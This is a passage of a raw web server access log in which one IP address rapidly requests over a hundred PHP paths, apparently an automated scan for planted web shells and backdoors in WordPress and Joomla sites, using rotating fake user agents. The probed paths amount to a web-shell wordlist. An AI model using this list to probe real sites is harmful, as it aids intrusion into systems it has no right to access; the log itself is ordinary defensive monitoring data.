Chrome/75.0.3770.100 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:39 +0300] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:39 +0300] "GET /wp-includes/Requests/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:39 +0300] "GET /wp-includes/ID3/about.php/wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:52:40 +0300] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:52:40 +0300] "GET /wp-content/languages/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:40 +0300] "GET /update/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:40 +0300] "GET /default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:40 +0300] "GET /wp-includes/assets/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:40 +0300] "GET /wp-includes/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:40 +0300] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.86.200.177 - - [21/Apr/2026:01:52:40 +0300] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:40 +0300] "GET /autoload_classmap/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:40 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:40 +0300] "GET /images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:40 +0300] "GET /db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:40 +0300] "GET /.well-known/pki-validation/mariju.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:40 +0300] "GET /mah/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:52:40 +0300] "GET /wp-content/plugins/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:52:40 +0300] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:40 +0300] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:52:40 +0300] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:40 +0300] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:52:40 +0300] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:40 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:40 +0300] "GET /wp-admin/css/colors/blue/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:40 +0300] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:40 +0300] "GET /components/com_jea/views/form/tmpl/size.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:40 +0300] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:40 +0300] "GET /bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:40 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.86.200.177 - - [21/Apr/2026:01:52:40 +0300] "GET /wp-admin/css/colors/light/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:40 +0300] "GET /wp-content/product.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:40 +0300] "GET /wp-content/uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:40 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/ask.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:41 +0300] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:52:41 +0300] "GET /css/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:41 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:41 +0300] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:41 +0300] "GET /autoload_classmap/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:41 +0300] "GET /wp-includes/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:41 +0300] "GET /assets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:41 +0300] "GET /.well-known/pki-validation/index.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.86.200.177 - - [21/Apr/2026:01:52:41 +0300] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.86.200.177 - - [21/Apr/2026:01:52:41 +0300] "GET /css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:41 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.86.200.177 - - [21/Apr/2026:01:52:41 +0300] "GET /wp-admin/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.86.200.177 - - [21/Apr/2026:01:52:41 +0300] "GET /wp_wlx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:41 +0300] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:41 +0300] "GET /wp-includes/assets/husky301.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.86.200.177 - - [21/Apr/2026:01:52:41 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:41 +0300] "GET /wp-admin/css/colors/blue/wp-trackback.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:41 +0300] "GET /wp-content/themes/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:41 +0300] "GET /wp-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:41 +0300] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:41 +0300] "GET /Marvins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:41 +0300] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:42 +0300] "GET /wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:52:42 +0300] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:42 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:42 +0300] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:42 +0300] "GET /wp-includes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.86.200.177 - - [21/Apr/2026:01:52:42 +0300] "GET /wp-content/blue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.86.200.177 - - [21/Apr/2026:01:52:42 +0300] "GET /content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:42 +0300] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:42 +0300] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:42 +0300] "GET /wp-includes/rest-api/endpoints/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:42 +0300] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:42 +0300] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:42 +0300] "GET /wp-content/plugins/up/main.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:42 +0300] "GET /fonts/fontawesome-webfont.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:42 +0300] "GET /wp-admin/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:42 +0300] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.86.200.177 - - [21/Apr/2026:01:52:42 +0300] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:42 +0300] "GET /images/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:42 +0300] "GET /images/class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:42 +0300] "GET /wp-content/plugins/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:52:42 +0300] "GET /web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:42 +0300] "GET /wp-admin/css/colors/ocean/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:42 +0300] "GET /images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:42 +0300] "GET /wp-content/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.86.200.177 - - [21/Apr/2026:01:52:42 +0300] "GET /.well-known/gecko-litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:42 +0300] "GET /wp-admin/css/colors/midnight/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:42 +0300] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:42 +0300] "GET /wp-includes/style-engine/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.86.200.177 - - [21/Apr/2026:01:52:42 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.86.200.177 - - [21/Apr/2026:01:52:42 +0300] "GET /wp-admin/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.86.200.177 - - [21/Apr/2026:01:52:42 +0300] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:42 +0300] "GET /wp-admin/css/colors/midnight/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:42 +0300] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:42 +0300] "GET /wp-setup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:42 +0300] "GET /ms-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:43 +0300] "GET /wp-includes/assets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:43 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.86.200.177 - - [21/Apr/2026:01:52:43 +0300] "GET /wp-includes/infi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.86.200.177 - - [21/Apr/2026:01:52:43 +0300] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:43 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.86.200.177 - - [21/Apr/2026:01:52:43 +0300] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:43 +0300] "GET /css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:43 +0300] "GET /images/index22.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:43 +0300] "GET /wp-user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:43 +0300] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:43 +0300] "GET /wp-includes/pomo/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.86.200.177 - - [21/Apr/2026:01:52:43 +0300] "GET /config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:52:43 +0300] "GET /special.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:43 +0300] "GET /assets/script.js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:43 +0300] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:43 +0300] "GET /wp-admin/css/colors/sunrise/colors_95.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:43 +0300] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:43 +0300] "GET /wp-content/uploads/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:43 +0300] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.86.200.177 - - [21/Apr/2026:01:52:43 +0300] "GET /cgi-bin/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.86.200.177 - - [21/Apr/2026:01:52:43 +0300] "GET /wp-content/cache/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:43 +0300] "GET /wp-admin/css/colors/blue/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:43 +0300] "GET /wp-includes/edit.php 